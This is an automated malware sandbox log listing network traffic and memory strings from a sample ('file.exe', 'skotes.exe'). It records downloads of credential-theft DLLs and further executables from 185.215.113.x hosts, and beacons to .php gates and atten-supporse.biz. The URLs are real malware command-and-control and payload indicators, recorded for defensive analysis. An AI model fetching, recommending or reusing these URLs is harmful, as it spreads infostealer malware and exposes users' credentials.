Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: skotes.exe, 00000018.00000002.2492683426.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe132
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe64
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe7
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exegram
Source: file.exe, 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllB
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllL
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll.
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll2
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllv
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&)
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/x
Source: file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2c542939725eb1a730a525b0c7bb
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBGDGCGDAKFIDGIDBFy
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.1861693322.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZ
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpdge
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgram
Source: file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/j
Source: file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpdge
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php061001
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC$
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpN
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phph%D
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
